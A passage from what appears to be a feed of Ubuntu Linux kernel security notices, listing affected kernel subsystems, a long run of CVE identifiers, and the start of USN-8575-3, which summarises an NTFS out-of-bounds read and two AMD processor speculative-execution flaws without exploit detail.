Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - RNBD block device driver; - Ublk userspace block driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clock framework and drivers; - Clocksource drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPIO subsystem; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - Broadcom VK accelerator driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MOST (Media Oriented Systems Transport) drivers; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Performance monitor drivers; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Power supply drivers; - RapidIO drivers; - RAS (Reliability, Availability, Serviceability) subsystem; - Remote Processor subsystem; - RPMSG subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - MediaTek SoC drivers; - Microchip PolarFire SoC system controller driver; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - ChipIdea USB driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - DesignWare USB3 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - USB over IP driver; - vDPA drivers; - VFIO drivers; - Virtio Host (VHOST) subsystem; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - JFS file system; - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Audit subsystem; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - RCU subsystem; - Scheduler infrastructure; - Cryptographic library; - Scatterlist API; - Heterogeneous memory management; - KASAN memory debugging framework; - 9P file system network protocol; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - KCM (Kernel Connection Multiplexor) sockets driver; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Landlock security; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229, CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269, CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286, CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292, CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304, CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218, CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238, CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244, CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249, CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253, CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)

USN-8575-3: Linux kernel vulnerabilities

Fri, 24 Jul 2026 14:17:35 +0200

Maxim Suhanov discovered that the NTFS file system implementation in the Linux kernel did not properly validate file name length in certain situations, leading to an out-of-bounds read. An attacker could use this to construct a malicious NTFS image that, when mounted and operated on, could expose sensitive information (kernel memory). (CVE-2023-45896) It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - S390 